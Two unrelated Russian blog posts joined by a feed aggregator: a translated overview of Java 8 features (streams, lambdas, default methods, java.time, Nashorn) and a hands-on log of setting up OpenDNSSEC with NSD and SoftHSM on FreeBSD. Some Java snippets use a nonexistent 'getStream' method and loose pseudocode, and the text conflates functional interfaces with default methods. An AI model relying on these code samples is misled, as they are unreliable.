Основное нововведение это коллекция, называемая Stream, не путайте с InputStream и OutputStream. Stream не замещает ArrayLists или другие коллекции. Это нововведение позволяет управлять данными быстрее и легче. Stream — это одноразовый объект, т.е. обработать данные в нем можно один раз.

Stream обладает возможностью применить функции filter, map, reduce для его обработки. Для Stream есть два режима: последовательный и параллельный. Это позволяет задействовать возможности многоядерных процессоров. Коллекции используют fork/join параллелизм для разбиения работы на части.


Для последовательного режима:



List <Person> people = list.getStream.collect(Collectors.toList());

Для параллельного режима:



List <Person> people = list.getStream.parallel().collect(Collectors.toList());

Во время последовательной обработки Stream, каждый элемент обрабатывается по очереди. А в параллельном режиме массив разбивается на части, каждая из которых обрабатывается в отдельном потоке. Затем результаты обработки собираются в общий результат.


Обработка в параллельном режиме выглядит так:



List originalList = someData;
split1 = originalList(0, mid);
split2 = originalList(mid,end);
new Runnable(split1.process());
new Runnable(split2.process());
List revisedList = split1 + split2;


Stream может быть обработан только раз, и он возвращает другой Stream, поэтому для получения полезного результат можно применить окончательную (terminal) функцию. Например, функции sum(), collect(), toArray(). Пока к Stream не применена окончательная функция, результат обработки не вычисляется. Например:



Double result = list.getStream().mapToDouble(f -> f.getAmount()).sum();
List<Person> people = list.getStream().filter(f -> f.getAge() > 21).collect(Collectors.toList());


Большая польза от этого – возможность использовать несколько процессорных ядер для обработки коллекции. Вместо использования традиционного for-цикла, использование Stream в параллельном режиме теоретически ускоряется, с увеличением числа ядер, задействованных в обработке. Основная возможная проблема это потеря читаемости кода при большом числе операций производимых над коллекцией. Другие проблемы возникают из-за добавления поддержки новых возможностей – функциональные интерфейсы и лямбды.


Functional Interfaces




В целом это просто добавление default-методов в интерфейс с возможностью их прямого вызова из интерфейса. Так же их не обязательно переопределять в реализации интерфейса.

Это было сделано для обратной совместимости с вашими коллекциями в ваших интерфейсах. Т.е. решение проблемы помещения Stream в интерфейс без необходимости изменять все реализующие этот интерфейс классы. Поэтому, создание default-метода в интерфейсе позволяет всем реализующим интерфейс классам использовать потоки. Если default-метод не корректен, то он может быть перегружен.


По существу default-методы это форма множественного наследования. И это становится проблемой того, кто реализует интерфейс, т.к. ему всё равно потребуется переопределить метод. Так же реализующий интерфейс может выбрать, какой базовый метод (supermethod) использовать, это означает что большинство классов реализующий интерфейс могут измениться.


Об этой детали в Java 8 беспокоится много людей. Возможно, это не побеспокоит тех, кто знаком с языком Scala. Функциональные интерфейсы можно напрямую сравнить с концепцией trait-ов в Scala. Однако есть несколько различий: функциональные интерфейсы в Java 8 не могут получить ссылку на реализующий класс, однако Scala позволяет это с помощью ключевого слова self. Зануды могут возразить, что в Java 8 функциональные интерфейсы разрешают множественное наследование поведения, но запрещают наследование состояния, в то время как, в Scala разрешается и то, и то.


Lambda




Назначение лямбда-выражений – более изящный код. При компиляции лямбда-выражение преобразуется в функциональный интерфейс. Вот пример, где анонимный класс заменен на лямбда-выражение.

Старый стиль:



button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
System.out.println(“Action Detected”);
}
}
);


Новый стиль:



button.addActionListener(e -> {
System.out.println(“Action Detected”);
}
);


И еще один пример.

Старый стиль:



Runnable runnable1 = new Runnable() {
@Override
public void run() {
System.out.println("Running without Lambda");
}
};


Новый стиль:



Runnable runnable2 = () -> { System.out.println("Running from Lambda"); };

Как вы можете видеть, использование лямбда-выражений делает код более читабельным, и он короче. Это взволновало много людей в около Java сообществе. В Scala уже есть все эти возможности. И не сюрприз, что Scala сообщество настроено скептически, потому что много нововведений в Java 8 выглядят как замена оператор => на -> в Scala. В некоторых случаях синтаксис Java 8 выглядит более многословным или менее чистым, чем в Scala. Пока не ясно, будет ли все так, как в языках на подобии Scala, построенных на лябда-выражених.


С одной стороны, если Java продолжит развиваться и реализовать все вокруг лябмда-выражений, как сделали в Scala, тогда возможно не будет надобности в Scala. С другой стороны, если лябмда-выражения будут только для обеспечения основной функциональности, вроде помощи с анонимными классами, тогда Scala и другие языки продолжат процветать, как они делают сейчас. Это лучший выход, это позволит другим языкам расти и быть изобретательными без беспокойства о том могут ли они стать устаревшими.


Java time




У Java долгая история, связанная со временем. Сначала был класс java.util.Date, который быстро показал, что Sun может объявлять методы устаревшими в рекордное время, но эти методы могут остаться навечно. И не забудьте java.sql.Date, который помогал узнавать время и место для использования fully qualified names (FQNs) в коде.

Потом это был Calendar, который осознал, что код может работать, более чем с одной частью света в одной JVM. Но работа с временем и датами требовала большого числа monkey-кода и возни с разрозненным API. Поэтому рождались сторонние библиотеки, такие как JodaTime. Теперь Java, с опозданием, решила навести порядок в пакете java.time. Для меня это выглядит как API для работы со временем, который мы всегда хотели.


Nashorn




Netscape создали технологию, называемую LiveScript, позволяющую работать со скриптами на их веб сервере. Было решено портировать её в их браузер, и потребовалось более красивое имя, так что LiveScript был лицензирован под торговой маркой Java от Sun и назван JavaScript – что посодействовало путанице относительно связи между Java и JavaScript. Однако, после распада компании AOL, некоторые члены команды Netscape продолжили реализовывать план Netscape по переписыванию браузера на Java. Для того что бы это сделать, было необходимо реализацию JavaScript в Java, Netscape назвал этот проект Rhino.

Современный JavaScript, этот не тот JavaScript, который знал твой отец. Он может быть полезен как на клиентской стороне, так и на серверной, и вы можете разрабатывать приложения, которые читабельные и быстрые. В JDK 7 добавили invokeDynamic — поддержку динамических языков. А В JDK 8 предоставят более полезную реализацию JavaScript и что, возможно, сделает Nodyn (Red Hat's port of Node.js to the JVM) не очередной жуткой поделкой. Вообще у Oracle есть своя реализация Node.js, креативно названная Node.jar. В чем уверено большинство людей, так это в том, что они хотят запускать всякие штуки на JVM, но не хотят использовать для этого синтаксис Java.


Есть места, где полезен запуск JavaScript из Java. Например, можно использовать client-side validator, как server-side validator, т.е. иметь один и тот же код, работающий в двух местах. Иметь свой собственный Node.js вместе с Java — это как обзавестись милым монстриком, кто не хочет такого? Если читая этот текст, вы не уверены, серьезен я или нет, то это делает нас похожими.


Accumulators




Сначала был synchronized. Однако, если все что вам нужно делать это увеличивать счетчик из многих потоков, то synchronized тяжеловат для этой задачи. Он стал не такой тяжелый в Java 6, сделав неисчислимые блокировки дешевле. В основном это помогло старым приложениям, все ещё использующим Vector, это однопоточный хлам, который поразил каждую библиотеку в Java Activation Framework.

С появлением пакета java.util.concurrent стало лучше — пул потоков и другие сложные многопоточные конструкции, но если все, что вы хотите это просто увеличение счетчика потоками, это все было излишне. Для этого нам были даны atomic-и — быстрые и легче, чем настоящие блокировки. Однако Doug Lea и его любимая армия студентов выпускников еще не закончила. В JDK 8 нам дадут accumulators и adders. Они более легкие, чем atomic-и, и с ослабленными гарантиями, это то, что больше всего нужно параллельному коду, увеличивающему общий счетчик. Ожидаю увидеть это нововведение в реализациях map/reduce. Однако вам все еще нужны atomic-и, если вы хотите читать значение счетчика в потоках, так как порядок аккумулирования счетчика не гарантирован.


Исправления HashMap




Существует известный баг, связанный с тем, как String.hashCode() реализован в Java. Если большое число параметров имеют одинаковый хеш, это вызовет чрезмерную нагрузку на CPU при работе с HashMap. Такая ситуация может возникнуть, если приложение подвергнется denial-of-service атаке, как в этом случае.

Сейчас, корзины в HashMap используют связанный список для хранения значений. Если есть большое число коллизий, тогда сложность работы со структурой изменяется от O(1) до O(N). Теперь при достижении определенного числа элементов в корзине, корзина переключится на использование сбалансированного дерева, что снижает сложность до O(log n).


TLS SNI




SNI — это не имя персонажа Dr. Seuss, а Server Name Identification. Все любят SSL или TLS, или как это теперь называется. Много сайтов используют один и тот же IP и name-based virtual host. Что означает, что вторая строка HTTP запроса это имя хоста. Я могу сделать запрос на podcastd.infoworld.com и www.infoworld.com, находящиеся но одном и том же IP, но получить разные страницы, из-за разного имени хоста. Однако я не могу держать много сайтов на одном IP из-за SSL. Для каждого SSL сертификата я должен иметь отдельный IP адрес. А если вспомнить печальную ситуацию с нынешним числом IP адресов в IPv4, то все становится еще печальнее.

Но теперь Java поддерживает SNI. Большинство современных браузеров поддерживает SNI, Apache поддерживает и Java теперь тоже поддерживает. Это означает, то чего мы так долго ожидали — Tomcat и другие основанные на Java серверы, использующие медленную реализацию SSL от Oracle (JSSE), теперь поддерживают SNI.


Заключение




В общем, вкусные плюшки ожидают в Java 8, но тут же затаились и грабли. По-моему мнению streams лучше дополнение. Надеюсь, параллелизм коллекций увеличит скорость их обработки. Перенеси свой набор данных в память, и когда понадобится извлечь что-то из этих данных, запусти streams в параллельном режиме и получи необходимые данные. То, что вызывает опасения, так это функциональные интерфейсы. При не правильном использовании может вызывать кучу головной боли.

От переводчика




Это перевод вот этой статьи

Увидел в комментариях желание хабровчан узнать про плюшки Java 8, да и сам хотел, и тут попалась эта статья, так что вот сел и перевел. Перевод не дословный, но я постарался сделать как можно ближе к тексту, нежножко пришлось выкинуть, т.к. автор статьи шутит, а его шутки переводить сложно. Поэтому знатокам английского строго рекомендую читать оригинал.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Из песочницы] Установка, настройка OpenDNSSEC 1.3.х и 1.4.1, NSD, FreeBSD 9.2

Что такое и для чего OpenDNSSEC есть информация в сети. Подробной информации на эту тему немного и в основном на английском. Попробую восполнить пробел. Сам не являюсь специалистом в этой области, было интересно, захотел, сделал.

Статья писалась одновременно с установкой/настройкой OpenDNSSEC. В общей сумме ушло около месяца. Процедура выполнялась дважды. Сначала был установлен OpenDNSSEC 1.3. Зоны подписаны, якоря у регистратора домена(РД) прописаны, цепочка доверия выстроена, о чём сообщалось в личном кабинете регистратора домена(РД), в общем всё получилось. Спустя полгода, в результате очередного ручного обновления портов, порт OpenDNSSEC 1.3.x был автоматически обновлён на 1.4.1, а там много чего по другому. Но всё, разумеется, продолжало работать без каких-либо намёков на проблему. Обнаружил случайно, когда в DNS зону потребовалось внести изменения. И началось…



Предполагаем, что NSD DNS сервер настроен, несколько лет работает, всё в порядке.


Версию 1.4 долго не получалось настроить, не появлялись ключи, зоны не подписывались. Пакет устанавливался с поддержкой MySql55. На официальном сайте, при перечислении официально поддерживаемых OS для 1.4 была заявлена FreeBSD 9.0. Вряд ли в этом была причина(причина и была не в этом), но на всякий обновился с FreeBSD 8.2 до 9.1. От незнания нюансов даже предположил, что мешала уже выстроенная цепочка доверия. Поэтому в личном кабинете РД разорвал цепочку доверия. И настроил NSD на работу с неподписанными зонами. Пробовать конвертировать существующую базу SQLite2 в SQLite3 не стал. Решено было всё заново сделать и использовать MySql55, как было рекомендовано.


В целом, картина выглядит скорее всего так: NSD как обслуживал зоны, так и обслуживает. Между собой NSD и Opendnssec никак и ничем не связаны. Opendnssec является удобной примочкой для автоматизации процесса подписи зон. Opendnssec берёт существующие, неподписанные файлы зон NSD сервера и производит их подпись/пере подпись с заданной периодичностью. После автоматической пере подписи Opendnssec перезапускает NSD. Далее NSD использует уже подписанные файлы зон. Причём DNSSEC в NSD включается автоматически. NSD сам распознаёт подписанные файлы зон. Остался не понятен один момент: в личном кабинете у РД (регистратор домена) нужно прописывать некоторые ключи, так называемые якоря. Нужно ли их будет править вручную в дальнейшем, когда произойдёт автоматическая пере подпись зон новыми ключами? Предположу конечно, что проблем не будет.


Забегая вперёд: c MySql OpenDNSSEC настроить не удалось. Точно выяснил, что проблема связана с базой данных, или с взаимодействием между базой данных и OpenDNSSEC. OpenDNSSEC может работать как с SQLight, так и с MySql. Вернулся на SQLight3 там всё пошло сразу и без вопросов. На официальном сайте SQLight3 рекомендуется только для тестовых применений. Предположу, что MySql рекомендуется, если файлов зон и записей в них много, тысячи. Для случая тестового сервера решил использовать SQLight. Таким образом, всё нижеописанное, относящееся к MySql не используем. Но на всякий эту информацию оставил. Ниже приводится схематичная картинка, описывающая происходящее. Картинка взята с официального сайта документации OpenDNSSEC.


image


Вторичные сервера DNS не требуют над собой никаких действий, однако нужно убедиться, что вторичный сервер также поддерживает DNSSEC. У РД, у которого в своё время было заказано два вторичных DNS, всё поддерживается.


Предусмотрено 2 пары ключей:

Первая пара – ZSK используется для подписи зонного файла.

Вторая пара – KSK используется для подписи ключа ZSK и формирования DS-записей, которые передаются администратору родительской зоны (в текущем случае РД). Менять KSK рекомендуется раз в год, ZSK вплоть до раза в месяц.


Перекликается установка как 1.3, так и 1.4 версии OpenDNSSEC. При использовании SQLight2 и 3 баз данных проблем не было. С MySql55 настроить не получилось. После того, как всё заработало с SQLight3, поиск причин, почему же возникли проблемы с MySql, был отложен до следующего раза. Повторюсь, SQLight рекомендуется только для тестирования.


Привожу всё, как было, поэтому сначала желательно посмотреть, чем закончилось, а потом повторять. Да, при установке только OpenDNSSEC 1.4.1 статья получилась бы раза в два короче. Но считаю, что избыточность информации лучше поможет разобраться, если возникнут нюансы. Как говориться, подарок рерайтерам. Если у Вас автоматически было обновление OpenDNSSEC со старой до 1.4.1 версии, то желательно OpenDNSSEC перенести в резервную папку и заново установить. Файлы конфигураций будут отличаться. А старые новыми, по понятным причинам, не затираются.


При установке порта opendnssec не делаем make clean, понадобятся некоторые файлы для настройки.


# cd /usr/ports/dns/opendnssec

# make

===> opendnssec-1.3.13 is marked as broken: does not work with ruby 1.9.

*** Error code 1


Устанавливаем порт /usr/ports/lang/ruby18, т.к. с 1.9 у opendnssec порта проблемы совместимости, а именно ошибка возникает при включённом флаге AUDITOR.

В общем устанавливаем/переустанавливаем порт ruby18.

Далее смотрим файл /usr/ports/UPDATING, там сказано кой чего по поводу ruby1.8 и 1.9. В общем, для использования 1.8 версии нужно в /etc/make.conf файл добавить следующие строки:

#

# Keep ruby 1.8 as default version.

#

RUBY_DEFAULT_VER=1.8


Перезагружаемся и далее повторная попытка установки:

# cd /usr/ports/dns/opendnssec

# make config –убеждаемся, что все флаги отмечены

# make && make install && make clean

[x] AUDITOR Build with Auditor

[ ] MYSQL MySQL database support

[x] SOFTHSM Build/update SOFTHSM as well


В OpenDNSSEC 1.4.1 этой проблемы не возникает, там больше не используется AUDITOR, который использовал ruby. Ruby вообще не используется. Из 2х опций предлагаемых при установке выбрана одна MySql. Повторюсь, что с MySql не завелось, для OpenDNSSEC 1.4.1 выберем соответственно вторую галку из двух.


В файле /usr/local/etc/nsd/nsd.conf меняем:

zonesdir: “/usr/local/var/opendnssec/signed”

и все записи zonefile:

zonefile: "/usr/local/var/opendnssec/signed/zone1.ru"

zonefile: "/usr/local/var/opendnssec/signed/zone2.ru"



zonefile: "/usr/local/var/opendnssec/signed/zoneN.ru"


Создаём ссылки:

# cd /usr/local/etc/nsd

# ln -s /usr/local/var/opendnssec/unsigned.

# ln -s /usr/local/var/opendnssec/signed.

Копируем существующие, рабочие, неподписанный файлы зон NSD сервера из /usr/local/etc/nsd/zones/master в /usr/local/etc/nsd/~unsigned.

# chown -R opendnssec:opendnssec /usr/local/var/opendnssec/unsigned


Инициализация SoftHSM базы данных с меткой “OpenDNSSEC” используя SO PIN <пин код> и USER PIN <такой же пин код>

Если отсутствует по каким-либо причинам папка /usr/local/var/lib/softhsm то устанавливаем/переустанавливаем порт:

# cd /usr/ports/security/softhsm

# make && make install && make clean

Устанавливаем права на папку softhsm, по умолчанию они 700:

# chmod 0755 /usr/local/var/lib/softhsm


Придумываем/вводим/запоминаем 2 PIN кода. Пускай будут одинаковыми:

# softhsm --init-token --slot 0 --label «OpenDNSSEC»

The SO PIN must have a length between 4 and 255 characters.

Enter SO PIN:

The user PIN must have a length between 4 and 255 characters.

Enter user PIN:

The token has been initialized.

В файле /usr/local/etc/opendnssec/conf.xml удаляем строку



<PIN>1234</PIN>



Пин код будем вводить вручную. Или оставляем, пин код будет подставляться автоматически.

Должно получиться так:

image


Для 1.4.1 Устанавливаем MySql55 server и client. SQLite3 рекомендуется использовать только в тестовых целях.

После установки MySql55 необходимо, в зависимости от предполагаемой нагрузки на сервер, выбрать один из конфигурационных файлов, находящихся в /usr/local/share/mysql, и скопировать его в /var/db/mysql. И соответственно в /etc/rc.conf должно быть:

nsd_enable=«YES»

opendnssec_enable=«YES»

mysql_enable=«YES»


Для автоматического создания нужной структуры базы данных используем файл:

/usr/ports/dns/opendnssec/work/opendnssec-1.4.1/enforcer/utils/database_create.mysql


# mysql

> create database kasp;

> CREATE USER 'ksuser'@'localhost' IDENTIFIED BY 'password';

> GRANT ALL PRIVILEGES ON kasp.* TO 'ksuser'@'localhost' IDENTIFIED BY 'password' WITH GRANT OPTION;

> flush privileges;

> quit


Если после flush privileges; будет ошибка

ERROR 1146 (42S02): Table 'mysql.servers' doesn't exist

Пробуем так, здесь с вводом пароля:

# mysqlcheck --check-upgrade --all-databases --auto-repair -p

Enter password:

И затем

# mysql_upgrade --force -p

Enter password:

В своё время это помогло.


Настраиваем созданную базу данных.

# mysql kasp < /usr/ports/dns/opendnssec/work/opendnssec-1.4.1/enforcer/utils/database_create.mysql


# mysql

> USE kasp;

> SHOW TABLES;

+-----------------------------+

| Tables_in_kasp |

+-----------------------------+

| INT_KEYALLOC_VIEW_FOR_MYSQL |

| KEYALLOC_VIEW |

| KEYDATA_VIEW |

| PARAMETER_LIST |

| PARAMETER_VIEW |

| categories |

| dbadmin |

| dnsseckeys |

| keypairs |

| parameters |

| parameters_policies |

| policies |

| securitymodules |

| serialmodes |

| zones |

+-----------------------------+

15 rows in set (0.01 sec)


>quit


В /usr/local/etc/opendnssec будут дефолтные конфигурационные файлы, созданные при установке.


В /usr/local/etc/opendnssec/conf.xml правим:




<Datastore>
<MySQL>
<!--
<Host port="1213">dnssec-db</Host>
-->
<Database>database</Database>
<Username>kaspuser</Username>
<Password>mysqlpassword</Password>
</MySQL>
</Datastore>


<Host -имя системы, где установлена база данных. Параметр опциональный, если не указан, то база данных ассоциируется с системой, где установлен OpenDNSSEC. Port понятно какой. Параметр опциональный, по умолчанию 3306.

<Database База данных.

<Username Пользователь базы данных.

<Password Соответственно пароль.


В /usr/local/etc/opendnssec/conf.xml должно быть:




<Repository name="SoftHSM">
<Module>/usr/local/lib/softhsm/libsofthsm.so</Module>
<TokenLabel>OpenDNSSEC</TokenLabel>
<Capacity>1024</Capacity>
<RequireBackup/>
<SkipPublicKey/>
</Repository>


Проверяем, чтобы было так:




<Signer>
<NotifyCommand>/usr/local/bin/opendnssec-nsd-reload</NotifyCommand>


Для секурности пин код тут не прописан. Будет вводиться вручную, хотя проще оставить его на месте.


Обращаем внимание на запись:




<Module>/usr/local/lib/softhsm/libsofthsm.so</Module>


Вносим данные конфигурационных файлов в базу данных

# ods-ksmutil setup

*WARNING* This will erase all data in the database; are you sure? [y/N] y

zonelist filename set to /usr/local/etc/opendnssec/zonelist.xml.

kasp filename set to /usr/local/etc/opendnssec/kasp.xml.

Repository SoftHSM found

Capacity set to 1024.

RequireBackup set.

INFO: The XML in /usr/local/etc/opendnssec/conf.xml is valid

INFO: The XML in /usr/local/etc/opendnssec/zonelist.xml is valid

INFO: The XML in /usr/local/etc/opendnssec/kasp.xml is valid


Перед запуском OpenDNSSEС нужно ввести ранее заданный пин код(если он был удалён), тот который вводили при запросе команды softhsm --init-token.



Файлы зон пока ещё не добавляли.

Вносим пин код:

# ods-hsmutil login

Enter PIN for token SoftHSM:

The tokens are now logged in.


В /usr/local/etc/opendnssec/conf.xml строка с дефолтным пин кодом 1234 должна быть удалена. Если внесли какие-либо изменения в крнфигурационные файлы, то судя по всему нужно запускать # ods-ksmutil update all.


OpenDNSSEC состоит из двух демонов, ods-signerd и ods-enforcerd запускаем:

# ods-control start

Starting enforcer…

OpenDNSSEC ods-enforcerd started (version 1.4.1), pid 39528

Starting signer engine…

OpenDNSSEC signer engine version 1.4.1

Engine running.


Всё работает.

# ods-control stop


Добавляем зоны:

# ods-ksmutil zone add --zone zone1.com

# ods-ksmutil zone add --zone zone2.com


Судя по всему, всё, что делает эта команда –это добавление текстовой информации о путях размещения файлов зон в файл /usr/local/etc/opendnssec/zonelist.xml. Вводимое имя зоны должно совпадать с именем файла зоны, который будет скопирован в /usr/local/var/opendnssec/unsigned. В общем чтобы руками не редактировать zonelist.xml


# ods-ksmutil update all


Всё, что касается политики работы с зонами можно посмотреть в официальной документации. Использовал дефолтную политику. С зонами закончили.


Формируем ключи:




В файле /usr/local/etc/opendnssec/kasp.xml policy: default смотрим параметр <Policy name="default"> <Keys> <KSK> <Lifetime>P3M</Lifetime> Это означает 3 месяца. В общем в параметре –interval указываем время, на которое нужно на генерировать ключей. Предположу, что достаточно сформировать количество ключей на максимально заданное время, а дальше оно само. Если указываем интервал 1M и менее, то для <ZSK> <Lifetime>P1M</Lifetime> и <KSK> <Lifetime>P3M</Lifetime> и 2х зон будет сформировано 2 KSK и 2 ZSK. Если --interval 1Y при тех же параметрах 2 зоны, то будет сформированно 6 KSKs (2048 bits) and 20 ZSKs (1024 bits).


Собственно формируем ключи:


# ods-ksmutil key generate --policy default --interval 1Y

Key sharing is Off

Info: converting 1Y to seconds; M interpreted as 31 days, Y interpreted as 365 days

HSM opened successfully.

*WARNING* This will create 4 KSKs (2048 bits) and 16 ZSKs (1024 bits)

Are you sure? [y/N] y

Created KSK size: 2048, alg: 8 with id: … in repository: SoftHSM and database.

Created KSK size: 2048, alg: 8 with id: … in repository: SoftHSM and database.

Created KSK size: 2048, alg: 8 with id: … in repository: SoftHSM and database.

Created KSK size: 2048, alg: 8 with id: … in repository: SoftHSM and database.

Created ZSK size: 1024, alg: 8 with id: … in repository: SoftHSM and database.

Created ZSK size: 1024, alg: 8 with id: … in repository: SoftHSM and database.

Created ZSK size: 1024, alg: 8 with id: … in repository: SoftHSM and database.

Created ZSK size: 1024, alg: 8 with id: … in repository: SoftHSM and database.



Created ZSK size: 1024, alg: 8 with id: … in repository: SoftHSM and database.

NOTE: keys generated in repository SoftHSM will not become active until they have been backed up

all done! hsm_close result: 0


# ods-hsmutil info

Repository: SoftHSM

Module: /usr/local/lib/softhsm/libsofthsm.so

Slot: 0

Token Label: OpenDNSSEC

Manufacturer: SoftHSM

Model: SoftHSM

Serial: 1


# ods-hsmutil list SoftHSM

Listing keys in repository: SoftHSM

20 keys found.

Repository ID Type

— — — SoftHSM … RSA/1024

SoftHSM … RSA/1024



SoftHSM … RSA/1024

SoftHSM … RSA/2048

SoftHSM … RSA/2048

SoftHSM … RSA/2048

SoftHSM … RSA/2048


Back up ключей можно делать только при остановленном OpenDNSSEC. Иначе есть вероятность генерации нового ключа в течении выполнения операции back up. Ключи помечаются как bsck up. На всякий пока убрал опцию <RequireBackup из /usr/local/etc/opendnssec/conf.xml


Запускаем:

# ods-control start

Starting enforcer…

OpenDNSSEC ods-enforcerd started (version 1.4.1), pid 51678

Starting signer engine…

OpenDNSSEC signer engine version 1.4.1

Engine running.


# ods-ksmutil key list --verbose

MySQL database schema set to: somedatabase

MySQL database user set to: user

MySQL database password set

Keys:

Zone: Keytype: State: Date of next transition (to): Size: Algorithm: CKA_ID: Repository: Keytag:


И видим, ключей нет. Плохо.

# ods-signer sign --all

С MySql Ключей так и не увидел.


В общем не получилось настроить с MySql55. Переустанавливаем OpenDNSSEC:

[ ] MYSQL MySQL database support

[x] SOFTHSM SoftHSM cryptographic store for PKCS #11 interface


Переустанавливал, после резервного перемещения всего, что связано с OpenDNSSEC в другую папку.


Здесь в /usr/local/etc/opendnssec будут дефолтные конфигурационные файлы, созданные при установке. В общем в папке должны быть файлы: conf.xml, kasp.xml, zonefetch.xml, zonelist.xml. Если их нет, то нужно переименовать файлы с расширением sample в этой-же директории.


Теперь инициализация OpenDNSSEC базы данных:

Импорт conf.xml, kasp.xml и zonelist.xml в базу данных. Удаление текущих настроек, включая любые ранее установленные ключи.

# ods-ksmutil setup

*WARNING* This will erase all data in the database; are you sure? [y/N] y

Error: database in config file does not match libksm

Если видим такое, то нужно в /usr/local/etc/opendnssec/conf.xml файле. Подправить путь:




<Module>/usr/local/lib/softhsm/libsofthsm.so</Module>




При установке OpenDNSSEC с MySql путь уже исправлен.

# ods-ksmutil setup

*WARNING* This will erase all data in the database; are you sure? [y/N] y

fixing permissions on file /usr/local/var/opendnssec/kasp.db

zonelist filename set to /usr/local/etc/opendnssec/zonelist.xml.

kasp filename set to /usr/local/etc/opendnssec/kasp.xml.

Repository SoftHSM found

No Maximum Capacity set.

RequireBackup NOT set; please make sure that you know the potential problems of using keys which are not recoverable

/usr/local/etc/opendnssec/conf.xml validates

/usr/local/etc/opendnssec/kasp.xml validates

Policy default found

Info: converting P1Y to seconds; M interpreted as 31 days, Y interpreted as 365 days


Появится файл /usr/local/var/opendnssec/kasp.db


Проверяем конфигурационные файлы:

# ods-kaspcheck

/usr/local/etc/opendnssec/conf.xml validates

/usr/local/etc/opendnssec/kasp.xml validates


В /etc/rc.conf добавляем opendnssec_enable=«YES»


На версию 1.3.13 не обращаем внимания, у Вас будет 1.4.1


# ods-control start

Starting enforcer…

OpenDNSSEC ods-enforcerd started (version 1.3.13), pid 55019

Starting signer engine…

OpenDNSSEC signer engine version 1.3.13

Engine running.

# ods-ksmutil zone add --zone zone1.com

zonelist filename set to /usr/local/etc/opendnssec/zonelist.xml.

Imported zone: zone1.com

# ods-ksmutil zone add --zone zone2.ru

zonelist filename set to /usr/local/etc/opendnssec/zonelist.xml.

Imported zone: zone2.ru


И т.д. добавляем все Ваши файлы зон.


# ods-ksmutil update zonelist

zonelist filename set to /usr/local/etc/opendnssec/zonelist.xml.

kasp filename set to /usr/local/etc/opendnssec/kasp.xml.

Zone zone2.ru found

Policy set to default.

Zone zone1.com found

Policy set to default.

Notifying enforcer of new database…


На всякий:

# ods-ksmutil update all


Проверяем, что всё в порядке, должен быть выведен список ключей:

# ods-ksmutil key list --verbose

SQLite database set to: /usr/local/var/opendnssec/kasp.db

Keys:

Zone: Keytype: State: Date of next transition: CKA_ID: Repository: Keytag:

zone2.ru KSK publish 2013-06-02 13:29:18 4962a716093d3973bc2cbcd0312a2e90 SoftHSM 41863

zone2.ru ZSK active 2013-07-01 23:29:18 0696ec624c7baba98062d4fc32064b46 SoftHSM 5817

zone1.com KSK publish 2013-06-02 13:29:18 f73f605125a7e59e3f3108680255d84e SoftHSM 6918

zone1.com ZSK active 2013-07-01 23:29:18 31e08389f3a59397dce1f22fa67df8a8 SoftHSM 2180


Если видим такой вывод, значит всё настроено правильно.

SQLite база данных: /usr/local/var/opendnssec/kasp.db


Попробуем проверить запрос DNSSEC:

# dig +norec dig xx.yy.zz.ss -t ANY zone2.ru


; <<>> DiG 9.6.-ESV-R3 <<>> +norec dig xx.yy.zz.ss -t ANY zone2.ru

;; global options: +cmd

;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NOERROR, id: 53654

;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 13


;; QUESTION SECTION:

;dig. IN A


;; AUTHORITY SECTION:

. 2574 IN NS d.root-servers.net.

. 2574 IN NS a.root-servers.net.

. 2574 IN NS g.root-servers.net.

. 2574 IN NS h.root-servers.net.

. 2574 IN NS c.root-servers.net.

. 2574 IN NS i.root-servers.net.

. 2574 IN NS b.root-servers.net.

. 2574 IN NS f.root-servers.net.

. 2574 IN NS j.root-servers.net.

. 2574 IN NS k.root-servers.net.

. 2574 IN NS l.root-servers.net.

. 2574 IN NS e.root-servers.net.

. 2574 IN NS m.root-servers.net.


;; ADDITIONAL SECTION:

a.root-servers.net. 2574 IN A 198.41.0.4

a.root-servers.net. 1398 IN AAAA 2001:503:ba3e::2:30

b.root-servers.net. 60 IN A 192.228.79.201

c.root-servers.net. 3425 IN A 192.33.4.12

d.root-servers.net. 2482 IN A 199.7.91.13

d.root-servers.net. 92 IN AAAA 2001:500:2d::d

e.root-servers.net. 2482 IN A 192.203.230.10

f.root-servers.net. 2482 IN A 192.5.5.241

f.root-servers.net. 2574 IN AAAA 2001:500:2f::f

g.root-servers.net. 2482 IN A 192.112.36.4

h.root-servers.net. 2482 IN A 128.63.2.53

h.root-servers.net. 2574 IN AAAA 2001:500:1::803f:235

i.root-servers.net. 2482 IN A 192.36.148.17


;; Query time: 1 msec

;; SERVER: 192.168.45.64#53(192.168.45.64)

;; WHEN: Sun Jun 2 00:50:27 2013

;; MSG SIZE rcvd: 488


;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NXDOMAIN, id: 23363

;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0


;; QUESTION SECTION:

;xx.yy.zz.ss. IN ANY


;; AUTHORITY SECTION:

. 3274 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2013060101 1800 900 604800 86400


;; Query time: 1 msec

;; SERVER: 192.168.45.64#53(192.168.45.64)

;; WHEN: Sun Jun 2 00:50:27 2013

;; MSG SIZE rcvd: 107


;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NOERROR, id: 5213

;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3


;; QUESTION SECTION:

;zone2.ru. IN A


;; ANSWER SECTION:

zone2.ru. 3135 IN A xx.yy.zz.ss


;; AUTHORITY SECTION:

zone2.ru. 579 IN NS ns8-l2.xxx.ru.

zone2.ru. 579 IN NS ns4-l2.xxx.ru.

zone2.ru. 579 IN NS ns1.zone2.ru.


;; ADDITIONAL SECTION:

ns1.zone2.ru. 579 IN A xx.yy.zz.ss

ns4-l2.xxx.ru. 2596 IN A a.b.c.d1

ns8-l2.xxx.ru. 2596 IN A a.b.c.d2


;; Query time: 1 msec

;; SERVER: 192.168.45.64#53(192.168.45.64)

;; WHEN: Sun Jun 2 00:50:27 2013

;; MSG SIZE rcvd: 154


Всё в порядке. DNS по прежнему, и спустя некоторое время работает. Но DNSSEC пока не функционирует, в выводе нет строк с ключами.


